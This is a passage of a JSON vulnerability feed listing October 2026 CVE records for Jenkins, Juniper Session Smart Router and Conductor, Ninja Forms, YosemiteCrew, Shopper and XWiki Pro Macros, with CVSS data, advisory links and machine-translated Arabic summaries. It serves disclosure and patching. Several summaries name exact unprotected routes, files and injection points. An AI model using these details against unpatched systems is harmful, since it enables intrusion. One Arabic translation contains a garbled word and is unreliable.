<2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier provides an HTTP endpoint that loads agents by name without validating the name, allowing attackers","ar":"توفر Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة نقطة نهاية HTTP لتحميل العوامل بالاسم دون التحقق من صحة الاسم، مما يسمح للمهاجمين"},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier provides an HTTP endpoint that loads agents by name without validating the name, allowing attackers with Overall/Read permission to load any config.xml file on the controller file system as an agent configuration, and to overwrite an arbitrary config.xml file when that agent is saved, potentially resulting in arbitrary code execution.","ar":"توفر إصدارات Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة نقطة نهاية HTTP لتحميل العوامل بالاسم دون التحقق من صحة الاسم، مما يسمح للمهاجمين الذين يملكون إذن Overall/Read بتحميل أي ملف config.xml على نظام ملفات وحدة التحكم كإعداد عامل، والكتابة فوق أي ملف config.xml عشوائي عند حفظ هذا العامل، مما قد ينتج عنه تنفيذ شيفرة عشوائية."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4188","advisory"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117614","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:20Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command A","ar":"Jenkins 2.587 والإصدارات السابقة، وLTS 2.580.1 والإصدارات السابقة تحول أوامر التشغيل في إعدادات العميل القديمة إلى أدوات إطلاق يوفرها Command A"},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.","ar":"يقوم Jenkins الإصدار 2.587 وما قبله، وLTS الإصدار 2.580.1 وما قبله بتحويل أوامر التشغيل في إعدادات العميل القديمة إلى أدوات إطلاق مقدمة من الملحق Command Agent Launcher Plugin دون التحقق مما إذا تم اعتمادها من قبل المسؤول، مما يسمح للمهاجمين الذين لديهم صلاحية Agent/Configure بتنفيذ شيفرة عشوائية في سياق الجهاز الظاهري لوحدة تحكم Jenkins."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4123","advisory"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-117612","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:18:20Z","product":"Jenkins Jenkins","affected":[[" – <2.580.2","2.580.2"],[" – <2.588","2.588"]],"title":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier does not apply its deserialization filter to classes referenced by the `resolves-to` attribute duri","ar":"لا يقوم Jenkins الإصدار 2.587 والأسبرق، وLTS الإصدار 2.580.1 والأسبرق بتطبيق مرشح إلغاء التسلسل الخاص به على الفئات التي تشير إليها سمة resolves-to أثناء"},"summary":{"en":"Jenkins 2.587 and earlier, LTS 2.580.1 and earlier does not apply its deserialization filter to classes referenced by the `resolves-to` attribute during XStream deserialization.","ar":"لا يقوم Jenkins الإصدار 2.587 والأسبرق، وLTS الإصدار 2.580.1 والأسبرق بتطبيق مرشح إلغاء التسلسل الخاص به على الفئات التي تشير إليها سمة resolves-to أثناء عملية إلغاء تسلسل XStream."},"refs":[["https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4125","advisory"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jenkins"},{"id":"CVE-2026-106079","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:32Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router and Session Smart Conductor: Improper validation of a field causes privilege escalation when updating the YANG configuration","ar":"Session Smart Router وSession Smart Conductor: التحقق غير السليم من حقل ما يتسبب في تصعيد الصلاحيات عند تحديث تكوين YANG"},"summary":{"en":"An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in AccessManager in Juniper Networks Session Smart Router and Session Smart Conductor allows an attacker with config-write privileges to achieve arbitrary command execution as root in the YANG configuration.","ar":"توجد ثغرة إبطال غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أمر نظام التشغيل) في AccessManager ضمن منتجي Juniper Networks Session Smart Router وSession Smart Conductor، مما يسمح لمهاجم لديه صلاحيات كتابة التكوينات بتنفيذ أوامر عشوائية بصلاحيات root في تكوين YANG."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0118,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103411","cvss":7.1,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","cwe":"CWE-191","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:28Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router: A malicious DHCP server causes information disclosure and a service crash during DHCP option parsing","ar":"Session Smart Router: خادم DHCP ضار يتسبب في كشف المعلومات وتعطل الخدمة أثناء تحليل خيارات DHCP"},"summary":{"en":"An Integer Underflow vulnerability in DhcpMessageDecoder in Juniper Networks Session Smart Router allows an attacker with local network access to cause information disclosure and a denial of service via a malicious DHCP reply.","ar":"توجد ثغرة نقص في الأعداد الصحيحة في DhcpMessageDecoder ضمن منتج Juniper Networks Session Smart Router، مما يسمح لمهاجم يمتلك حق الوصول إلى الشبكة المحلية بالتسبب في كشف المعلومات وحجب الخدمة عبر رد DHCP ضار."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103409","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:27Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router: An attacker obtains administrative privileges when an unauthenticated internal endpoint is accessed","ar":"Session Smart Router: يحصل مهاجم على صلاحيات إدارية عند الوصول إلى نقطة نهاية داخلية دون مصادقة"},"summary":{"en":"A Missing authentication for critical function vulnerability in Juniper Networks Session Smart Router allows an unauthenticated network-based attacker to obtain administrative privileges by passing crafted URL parameters to an insecure endpoint running as root. Note that this vulnerability can only be exploited prior to the device being onboarded to Mist/Conductor. The issue can no longer be exploited once a device is onboarded to Mist/Conductor.","ar":"توجد ثغرة غياب المصادقة على وظيفة حرجة في Juniper Networks Session Smart Router، مما يسمح لمهاجم متصل بالشبكة ودون مصادقة بالحصول على صلاحيات إدارية عن طريق تمرير معاملات URL مصممة خصيصاً إلى نقطة نهاية غير آمنة تعمل بصلاحيات root. لاحظ أنه لا يمكن استغلال هذه الثغرة إلا قبل إلحاق الجهاز بمنظومة Mist/Conductor. ولا يمكن استغلال المشكلة بمجرد إلحاق الجهاز بـ Mist/Conductor."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103407","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:26Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router and Session Smart Conductor: Unsanitized input allows arbitrary file read, overwrite, or deletion via the PKI management","ar":"Session Smart Router وSession Smart Conductor: إدخال غير مطهر يسمح بقراءة ملفات عشوائية أو الكتابة فوقها أو حذفها عبر إدارة PKI"},"summary":{"en":"An Improper Limitation of a Pathname to a Restricted Directory vulnerability in ConfigDirector in Juniper Networks Session Smart Router and Session Smart Conductor allows an authenticated REST user to read, overwrite, or delete arbitrary certificate and key files on the host filesystem via the certificate and private-key REST API.","ar":"توجد ثغرة تحديد غير سليم لمسار الملفات في دليل مقيد في ConfigDirector ضمن منتجي Juniper Networks Session Smart Router وSession Smart Conductor، مما يسمح لمستخدم مصادق عليه عبر واجهة REST بقراءة أو الكتابة فوق أو حذف شهادة عشوائية وملفات مفاتيح على نظام ملفات المضيف عبر واجهة برمجة تطبيقات REST للشهادات والمفاتيح الخاصة."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103408","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:26Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router: An attacker-controlled input causes remote code execution when parsing DHCP options","ar":"Session Smart Router: إدخال يتحكم فيه المهاجم يتسبب في تنفيذ أوامر عن بُعد عند تحليل خيارات DHCP"},"summary":{"en":"A Stack Buffer Overflow vulnerability in the DHCP client in Juniper Networks Session Smart Router allows an unauthenticated attacker on the local network to achieve remote code execution via a malicious DHCP reply.","ar":"توجد ثغرة فيضان المخزن المؤقت للمكدس في عميل DHCP ضمن Juniper Networks Session Smart Router، مما يسمح لمهاجم دون مصادقة على الشبكة المحلية بتحقيق تنفيذ أوامر عن بُعد عبر رد DHCP ضار."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103406","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:25Z","product":"Juniper Networks Session Smart Conductor","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Conductor: An unauthenticated attacker causes arbitrary command execution during key management.","ar":"Session Smart Conductor: مهاجم دون مصادقة يتسبب في تنفيذ أوامر عشوائية أثناء إدارة المفاتيح"},"summary":{"en":"An Improper Neutralization of Special Elements used in an OS Command vulnerability in the AutomatedProvisioner in Juniper Networks Session Smart Conductor allows a remote attacker to execute arbitrary commands as root via a specially crafted salt minion ID.","ar":"توجد ثغرة إبطال غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل في AutomatedProvisioner ضمن Juniper Networks Session Smart Conductor، مما يسمح لمهاجم عن بُعد بتنفيذ أوامر عشوائية بصلاحيات root عبر معرف minion salt مصمم خصيصاً."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-conductor"},{"id":"CVE-2026-103401","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:24Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router and Session Smart Conductor: An attacker can overwrite arbitrary files as root","ar":"Session Smart Router and Session Smart Conductor: يمكن للمهاجم الكتابة فوق ملفات عشوائية بصلاحيات root"},"summary":{"en":"An Improper Link Resolution Before File Access ('Link Following') vulnerability in the unauthenticated web server handlers in Juniper Networks Session Smart Router and Session Smart Conductor allows a local unprivileged user to overwrite arbitrary files as root via unauthenticated API endpoints. This vulnerability can be exploited on Mist-managed routers and on unmanaged Routers that have not yet been onboarded to a Conductor. Routers already managed by Conductor are not affected.","ar":"توجد ثغرة عدم دقة حل الروابط قبل الوصول إلى الملفات ('Link Following') في معالجات خادم الويب دون مصادقة في Juniper Networks Session Smart Router و Session Smart Conductor، مما يسمح لمستخدم محلي دون صلاحيات بالكتابة فوق ملفات عشوائية بصلاحيات root عبر نقاط نهاية API دون مصادقة. يمكن استغلال هذه الثغرة على أجهزة التوجيه المدارة بواسطة Mist وأجهزة التوجيه غير المدارة التي لم يتم ضمها بعد إلى Conductor. أجهزة التوجيه المدارة بالفعل بواسطة Conductor غير متأثرة."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103402","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:24Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router and Session Smart Conductor: Lack of integrity verification in cache files causes arbitrary code execution and privilege escalation","ar":"Session Smart Router and Session Smart Conductor: نقص التحقق من السلامة في ملفات التخزين المؤقت يسبب تنفيذ شيفرة عشوائية وتصعيد الصلاحيات"},"summary":{"en":"An Insufficient Verification of Data Authenticity vulnerability in PCLI in Juniper Networks Session Smart Router and Session Smart Conductor allows an attacker with write access to the model cache directory to execute arbitrary code and escalate privileges via the processing of unverified cache files.","ar":"توجد ثغرة التحقق غير الكافي من أصالة البيانات في PCLI ضمن Juniper Networks Session Smart Router و Session Smart Conductor، مما يسمح لمهاجم يملك صلاحية الكتابة إلى دليل ذاكرة التخزين المؤقت للنموذج بتنفيذ شيفرة عشوائية وتصعيد الصلاحيات عبر معالجة ملفات ذاكرة التخزين المؤقت غير المتحقق منها."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-103403","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T17:17:24Z","product":"Juniper Networks Session Smart Router","affected":[["0 – <7.0.5","7.0.5"],["7.1.0 – <7.1.7","7.1.7"],["7.2.0 – <7.2.3","7.2.3"]],"title":{"en":"Session Smart Router and Session Smart Conductor: Unvalidated input causes arbitrary file deletion and command execution when deleting audit rules","ar":"Session Smart Router and Session Smart Conductor: المدخلات غير المتحقق منها تسبب حذف ملفات عشوائية وتنفذ أوامر عند حذف قواعد التدقيق"},"summary":{"en":"An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in AccessManager in Juniper Networks Session Smart Router and Session Smart Conductor allows an attacker to perform arbitrary file deletion and arbitrary command execution via the deletion of an audit rule.","ar":"توجد ثغرة عدم التحجيم السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أوامر نظام التشغيل') في AccessManager ضمن Juniper Networks Session Smart Router و Session Smart Conductor، مما يسمح للمهاجم بإجراء حذف عشوائي للملفات وتنفيذ أوامر عشوائية عبر حذف قاعدة التدقيق."},"refs":[["https://supportportal.juniper.net/JSA112183","advisory"]],"epss":0.0118,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"juniper-networks-session-smart-router"},{"id":"CVE-2026-67187","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","cwe":"CWE-1236","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T16:17:08Z","product":"Saturday Drive Ninja Forms","affected":[["0 – <3.15.4","3.15.4"]],"title":{"en":"Ninja Forms WordPress Plugin < 3.15.4 Server-Side Validation Bypass via List Fields","ar":"إضافة Ninja Forms WordPress الإصدارات أقل من 3.15.4: تجاوز التحقق من جانب الخادم عبر حقول القوائم"},"summary":{"en":"Ninja Forms plugin for WordPress before 3.15.4 contains an incomplete server-side validation vulnerability that allows unauthenticated attackers to submit arbitrary values to Checkbox List, Multi-Select List, Image List, Country, and State fields because NF_Abstracts_List falls through to a validate() method that only checks required-field presence. Attackers can submit crafted formula payloads through the unauthenticated nf_ajax_submit endpoint that bypass CSV escaping applied only to Textbox and Textarea fields, resulting in CSV injection when an administrator downloads and opens the exported submissions file.","ar":"تحتوي إضافة Ninja Forms لووردبريس قبل الإصدار 3.15.4 على ثغرة تحقق غير مكتمل من جانب الخادم تسمح للمهاجمين دون مصادقة بإرسال قيم عشوائية إلى حقول قائمة خانات الاختيار، وقائمة الاختيار المتعدد، وقائمة الصور، والبلد، والولاية؛ وذلك لأن NF_Abstracts_List تنتقل إلى طريقة validate() التي تحقق فقط من وجود الحقل المطلوب. يمكن للمهاجمين إرسال حمولات صيغ مصممة خصيصًا عبر نقطة النهاية nf_ajax_submit التي لا تتطلب مصادقة لتجاوز إفلات فاصلة الفرز (CSV) المطبق فقط على حقول مربعات النص وحقول النصوص، مما ينتج عنه حقن CSV عندما يقوم المشرف بتنزيل وفتح ملف الإرسالات المُصدَّر."},"refs":[["https://wordpress.org/plugins/ninja-forms/#developers","patch"],["https://www.vulncheck.com/advisories/ninja-forms-wordpress-plugin-server-side-validation-bypass-via-list-fields","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"saturday-drive-ninja-forms"},{"id":"CVE-2026-59979","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T16:17:08Z","product":"YosemiteCrew Yosemite-Crew","affected":[],"title":{"en":"YosemiteCrew: Missing organization authorization on service and PMS library/template routes","ar":"نظام YosemiteCrew: غياب تفويض المؤسسة في مسارات الخدمات ومكتبة وقوالب نظام إدارة الصيانة المحوسب (PMS)"},"summary":{"en":"YosemiteCrew provides organization-based service and task management. In the source-reported affected main and dev snapshots, YosemiteCrew's service and PMS task-library/template routes omit organization and permission checks. `authorizeCognito` in `apps/backend/src/middlewares/auth.ts` sets the authenticated user's ID but does not provide the `withOrgPermissions()` and `requirePermission(...)` checks used by protected siblings. In `apps/backend/src/routers/service.router.ts`, `PATCH /fhir/v1/service/:id` and `DELETE /fhir/v1/service/:id` are authentication-only, while `GET /fhir/v1/service/:id` has no authentication middleware. The trace through `apps/backend/src/controllers/web/service.controller.ts` to `apps/backend/src/services/service.service.ts` passes a global record ID into `ServiceModel.findById(oid)` without an `organisationId` filter. In `apps/backend/src/routers/task.router.ts`, `PUT /v1/task/pms/library/:libraryId`, `POST /v1/task/pms/templates`, `PATCH /v1/task/pms/templates/:templateId` and `DELETE /v1/task/pms/templates/:templateId` likewise lack organization/role enforcement. Any registered platform user, including a patient/companion-app account, can modify or delete another organization's service catalogue and PMS task-library/template data, affecting bookings and billing; service records can additionally be read without authentication. An earlier security change protected create routes but left these sibling operations exposed. A fixed release cannot be established from the available evidence.","ar":"يوفر YosemiteCrew إدارة خدمات ومهام قائمة على المؤسسات. في النسخ الاحتياطية المتأثرة المبلغ عنها في المصدر (main و dev)، تتخلى مسارات الخدمات ومكتبة وقوالب مهام نظام إدارة الصيانة المحوسب (PMS) في YosemiteCrew عن عمليات التحقق من المؤسسة والصلاحيات. تقوم الدالة `authorizeCognito` في المسار `apps/backend/src/middlewares/auth.ts` بتعيين معرف المستخدم المصادق عليه ولكنها لا توفر عمليات التحقق `withOrgPermissions()` و `requirePermission(...)` التي تستخدمها المسارات الفرعية المحمية. في المسار `apps/backend/src/routers/service.router.ts`، تُعد الطلبات `PATCH /fhir/v1/service/:id` و `DELETE /fhir/v1/service/:id` مقتصرة على المصادقة فقط، بينما لا يحتوي الطلب `GET /fhir/v1/service/:id` على أي وسيط مصادقة. المسار عبر `apps/backend/src/controllers/web/service.controller.ts` إلى `apps/backend/src/services/service.service.ts` يمرر معرف سجل عام إلى الدالة `ServiceModel.findById(oid)` بدون تصفية `organisationId`. وفي المسار `apps/backend/src/routers/task.router.ts`، تفتقر الطلبات `PUT /v1/task/pms/library/:libraryId` و `POST /v1/task/pms/templates` و `PATCH /v1/task/pms/templates/:templateId` و `DELETE /v1/task/pms/templates/:templateId` بالمثل إلى فرض المؤسسة أو الدور. يمكن لأي مستخدم مسجل في المنصة، بما في ذلك حساب مريض أو تطبيق مرافق، تعديل أو حذف كتالوج الخدمات الخاص بمؤسسة أخرى وبيانات مكتبة وقوالب مهام نظام إدارة الصيانة المحوسب (PMS)، مما يؤثر على الحجوزات والفواتير؛ بالإضافة إلى ذلك، يمكن قراءة سجلات الخدمات دون مصادقة. أدى تغيير أمني سابق إلى حماية مسارات الإنشاء ولكنه ترك هذه العمليات الفرعية مكشوفة. لا يمكن تحديد إصدار ثابت بناءً على الأدلة المتاحة."},"refs":[["https://github.com/YosemiteCrew/Yosemite-Crew/security/advisories/GHSA-256m-gg99-4274","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yosemitecrew-yosemite-crew"},{"id":"CVE-2026-56828","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-285","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T16:17:08Z","product":"shopperlabs shopper","affected":[],"title":{"en":"Shopper: read-only team permissions allow administrator creation and permission escalation","ar":"Shopper: صلاحيات الفريق للقراءة فقط تسمح بإنشاء المسؤولين وتصعيد الصلاحيات"},"summary":{"en":"Shopper is a Headless e-commerce Admin Panel. From 2.8.0 until 2.8.1, three Shopper Livewire admin components retain authorization gaps after the earlier team-settings authorization fix. A staff member with only `view_users` and `access_dashboard` can mutate permissions, create an administrator, or delete roles. In `packages/admin/src/Livewire/Components/Settings/Team/Permissions.php`, `togglePermission` and `removePermission` authorize `view_users` rather than the stronger `access_setting` permission; `packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php` exposes permission IDs in `wire:click` handlers. The attacker can grant arbitrary permissions to the bound role, including `access_setting` on the attacker's own role, or delete permission definitions. In `packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php`, `mount()` and `store()` also accept `view_users`, and the client-selected `role_id` can identify the admin role, allowing creation of a pre-verified administrator with an attacker-chosen password. In `packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php`, `deleteAction` has no action authorization and is only conditioned on `can_be_removed`, while page access requires `view_users`. Deleting a removable role removes access for assigned users, enabling RBAC denial of service as well as privilege escalation. This issue is fixed in version 2.8.1.","ar":"Shopper هي لوحة تحكم تجارة إلكترونية بدون رأس. من الإصدار 2.8.0 حتى 2.8.1، تحتفظ ثلاثة مكونات إدارية في Shopper Livewire بثغرات في التفويض بعد إصلاح إعدادات الفريق السابق. يمكن لعضو طاقم لديه صلاحيات `view_users` و `access_dashboard` فقط تعديل الصلاحيات أو إنشاء مسؤول أو حذف الأدوار. في packages/admin/src/Livewire/Components/Settings/Team/Permissions.php، تأذن دوال `togglePermission` و `removePermission` لصلاحية `view_users` بدلاً من صلاحية `access_setting` الأقوى؛ تعرض packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php معرفات الصلاحيات في معالجات `wire:click`. يمكن للمهاجم منح صلاحيات عشوائية للدور المرتبط، بما في ذلك `access_setting` على دور المهاجم نفسه، أو حذف تعريفات الصلاحيات. في packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php، تقبل دوال `mount()` و `store()` أيضًا `view_users`، ويمكن لـ `role_id` المحدد من قبل العميل تحديد دور المسؤول، مما يسمح بإنشاء مسؤول تم التحقق منه مسبقًا بكلمة مرور يختارها المهاجم. في packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php، لا تحتوي `deleteAction` على تفويض إجراء ويتم تقييدها فقط بـ `can_be_removed`، بينما يتطلب الوصول إلى الصفحة `view_users`. يؤدي حذف دور قابل للإزالة إلى إزالة الوصول للمستخدمين المعينين، مما يتيح حجب الخدمة لـ RBAC بالإضافة إلى تصعيد الصلاحيات. تم إصلاح هذه المشكلة في الإصدار 2.8.1."},"refs":[["https://github.com/shopperlabs/shopper/commit/ac9a76044a8e4a2b570b438d66cf3007f3dc479e","ref"],["https://github.com/shopperlabs/shopper/compare/v2.8.1...v2.9.2","ref"],["https://github.com/shopperlabs/shopper/pull/514","ref"],["https://github.com/shopperlabs/shopper/releases/tag/v2.8.1","ref"],["https://github.com/shopperlabs/shopper/security/advisories/GHSA-j328-xmgp-j4q3","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"shopperlabs-shopper"},{"id":"CVE-2026-44179","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-95","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T16:17:07Z","product":"xwikisas xwiki-pro-macros","affected":[],"title":{"en":"XWiki Pro Macros: excerpt-include title and content injection executes code","ar":"وحدات XWiki Pro Macros: حقن العنوان والمحتوى في excerpt-include يُنفّذ شيفرة"},"summary":{"en":"XWiki Remote Macros provides XWiki rendering macros that are useful when migrating content from Confluence. From 1.13 until 1.14.5, the `excerpt-include` macro does not properly escape the included page's title and executes `excerpt` content with the macro's rights. The title handling in `xwiki-pro-macros-ui/src/main/resources/Confluence/Macros/ExcerptInclude.xml` and the rendering of `excerpt` content into XWiki syntax both allow syntax injection. Any user able to edit a page, even without script or programming rights, can supply executable macro syntax in the title or `excerpt` and cause remote code execution when the page is included. This affects confidentiality, integrity and availability of the whole XWiki installation. This issue is fixed in version 1.14.5.","ar":"توفر XWiki Remote Macros وحدات عرض لبرنامج XWiki والتي تكون مفيدة عند ترحيل المحتوى من Confluence. في الإصدارات من 1.13 حتى 1.14.5، لا تقوم وحدة `excerpt-include` بتهيئة عنوان الصفحة المضمنة بشكل صحيح وتقوم بتنفيذ محتوى `excerpt` بصلاحيات الوحدة. تتيح معالجة العنوان في الملف `xwiki-pro-macros-ui/src/main/resources/Confluence/Macros/ExcerptInclude.xml` وعرض محتوى `excerpt` في بنية XWiki حقن البنية. يمكن لأي مستخدم قادر على تعديل صفحة، حتى دون صلاحيات البرمجة أو النصوص البرمجية، توفير بنية وحدة قابلة للتنفيذ في العنوان أو `excerpt` والتسبب في تنفيذ أوامر عن بُعد عند تضمين الصفحة. يؤثر ذلك على سرية وسلامة وتوافر تثبيت XWiki بأكمله. تم إصلاح هذه المشكلة في الإصدار 1.14.5."},"refs":[["https://github.com/xwikisas/xwiki-pro-macros/commit/151d4fccb62f6ec5f3c972e837869454677ab1ca","ref"],["https://github.com/xwikisas/xwiki-pro-macros/releases/tag/xwiki-pro-macros-1.14.5","ref"],["https://github.com/xwikisas/xwiki-pro-macros/security/advisories/GHSA-w56x-9778-rppx","ref"]],"epss":0.0069,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"xwikisas-xwiki-pro-macros"},{"id":"CVE-2026-112357","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-276","tags":["LPE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T16:17:01Z","product":"GFI USA, 